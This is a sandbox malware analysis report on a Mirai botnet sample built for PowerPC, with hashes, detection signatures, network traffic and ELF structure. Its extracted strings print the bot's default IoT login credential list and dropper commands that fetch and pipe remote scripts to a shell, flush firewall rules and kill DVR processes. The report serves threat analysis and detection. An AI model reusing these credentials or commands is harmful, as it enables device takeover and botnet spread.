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Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name:la.bot.powerpc.elf
Analysis ID:1584249
MD5:b3e9acdde143014410129ce4ba288192
SHA1:eec1463fa1de4eb4f23d8a274ca851246be856e9
SHA256:1e39e5c8e538972f94cf936139a2b8150928f58499aa2f162fbaed1a3e32aacd
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:48
Range:0 - 100
Whitelisted:false

Signatures

Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1584249
Start date and time:2025-01-05 00:02:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 20s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.powerpc.elf
Detection:MAL
Classification:mal48.troj.linELF@0/0@3/0
  • VT rate limit hit for: la.bot.powerpc.elf
Command:/tmp/la.bot.powerpc.elf
PID:5439
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.powerpc.elf (PID: 5439, Parent: 5364, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/la.bot.powerpc.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
la.bot.powerpc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5439.1.00007fe770001000.00007fe770018000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results
      Source: la.bot.powerpc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/la.bot.powerpc.elf (PID: 5439)Socket: 127.0.0.1:43478Jump to behavior
      Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.powerpc.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.powerpc.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o-
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal48.troj.linELF@0/0@3/0
      Source: /tmp/la.bot.powerpc.elf (PID: 5439)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.powerpc.elf, 5439.1.00007ffe8747c000.00007ffe8749d000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
      Source: la.bot.powerpc.elf, 5439.1.000055fd91c1d000.000055fd91ccd000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1
      Source: la.bot.powerpc.elf, 5439.1.000055fd91c1d000.000055fd91ccd000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
      Source: la.bot.powerpc.elf, 5439.1.00007ffe8747c000.00007ffe8749d000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc
      Source: la.bot.powerpc.elf, 5439.1.00007ffe8747c000.00007ffe8749d000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: la.bot.powerpc.elf, type: SAMPLE
      Source: Yara matchFile source: 5439.1.00007fe770001000.00007fe770018000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: la.bot.powerpc.elf, type: SAMPLE
      Source: Yara matchFile source: 5439.1.00007fe770001000.00007fe770018000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.powerpc.elffalse
          high
          http:///curl.shla.bot.powerpc.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.com176.119.150.11-i-2025-01-04T15_20_35.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.25
            la.bot.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            main.arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            fuckunix.arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            Space.arm.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            Space.sh4.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            Space.spc.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            Space.ppc.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            Space.arm5.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.225923287017349
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:la.bot.powerpc.elf
            File size:95'928 bytes
            MD5:b3e9acdde143014410129ce4ba288192
            SHA1:eec1463fa1de4eb4f23d8a274ca851246be856e9
            SHA256:1e39e5c8e538972f94cf936139a2b8150928f58499aa2f162fbaed1a3e32aacd
            SHA512:7615ab298c91b1c4b42e6c16534b50598f151919bfc61870a2cdb07f70cfdb23e7b080e9554714c075a2bc083a60d64716da1baa01b68710fd930bcca37551a5
            SSDEEP:1536:f6LCaqGw9CDgi5beI7GIOhBqPzbpHO15zaqPnGsT1tWS:W9UdiQ2ssNOXznnXtx
            TLSH:FF932B41730C0A43C2671DF12A3B17D1D7ABBB8122A5B385661EB74991F2E33B909EDD
            File Content Preview:.ELF...........................4..t......4. ...(......................np..np..............p...p...p.......gx........dt.Q.............................!..|......$H...H.3....$8!. |...N.. .!..|.......?.........u ..../...@..\?.....p..+../...A..$8...})....p.N..

            ELF header

            Class:ELF32
            Data:2's complement, big endian
            Version:1 (current)
            Machine:PowerPC
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x100001f0
            Flags:0x0
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:95448
            Section Header Size:40
            Number of Section Headers:12
            Header String Table Index:11
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x100000940x940x240x00x6AX004
            .textPROGBITS0x100000b80xb80x133600x00x6AX004
            .finiPROGBITS0x100134180x134180x200x00x6AX004
            .rodataPROGBITS0x100134380x134380x3a380x00x2A008
            .ctorsPROGBITS0x100270000x170000x80x00x3WA004
            .dtorsPROGBITS0x100270080x170080x80x00x3WA004
            .dataPROGBITS0x100270180x170180x4340x00x3WA008
            .sdataPROGBITS0x1002744c0x1744c0x400x00x3WA004
            .sbssNOBITS0x1002748c0x1748c0x940x00x3WA004
            .bssNOBITS0x100275200x1748c0x62580x00x3WA004
            .shstrtabSTRTAB0x00x1748c0x4b0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x100000000x100000000x16e700x16e706.27440x5R E0x10000.init .text .fini .rodata
            LOAD0x170000x100270000x100270000x48c0x67783.64960x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
            TimestampSource PortDest PortSource IPDest IP
            Jan 5, 2025 00:02:54.331756115 CET5617453192.168.2.131.1.1.1
            Jan 5, 2025 00:02:54.336522102 CET53561741.1.1.1192.168.2.13
            Jan 5, 2025 00:02:54.336594105 CET5617453192.168.2.131.1.1.1
            Jan 5, 2025 00:02:54.336594105 CET5617453192.168.2.131.1.1.1
            Jan 5, 2025 00:02:54.341424942 CET53561741.1.1.1192.168.2.13
            Jan 5, 2025 00:02:54.781835079 CET53561741.1.1.1192.168.2.13
            Jan 5, 2025 00:02:54.781946898 CET5617453192.168.2.131.1.1.1
            Jan 5, 2025 00:03:04.781747103 CET53561741.1.1.1192.168.2.13
            Jan 5, 2025 00:03:04.781975031 CET5617453192.168.2.131.1.1.1
            Jan 5, 2025 00:03:04.786782980 CET53561741.1.1.1192.168.2.13
            TimestampSource PortDest PortSource IPDest IP
            Jan 5, 2025 00:02:54.324922085 CET4873753192.168.2.131.1.1.1
            Jan 5, 2025 00:02:54.324964046 CET4762553192.168.2.131.1.1.1
            Jan 5, 2025 00:02:54.331641912 CET53487371.1.1.1192.168.2.13
            Jan 5, 2025 00:02:54.331722975 CET53476251.1.1.1192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 5, 2025 00:02:54.324922085 CET192.168.2.131.1.1.10x7cfdStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 5, 2025 00:02:54.324964046 CET192.168.2.131.1.1.10x2b24Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            Jan 5, 2025 00:02:54.336594105 CET192.168.2.131.1.1.10x7cfdStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 5, 2025 00:02:54.781835079 CET1.1.1.1192.168.2.130x7cfdNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Jan 5, 2025 00:02:54.781835079 CET1.1.1.1192.168.2.130x7cfdNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):23:02:51
            Start date (UTC):04/01/2025
            Path:/tmp/la.bot.powerpc.elf
            Arguments:/tmp/la.bot.powerpc.elf
            File size:5388968 bytes
            MD5 hash:ae65271c943d3451b7f026d1fadccea6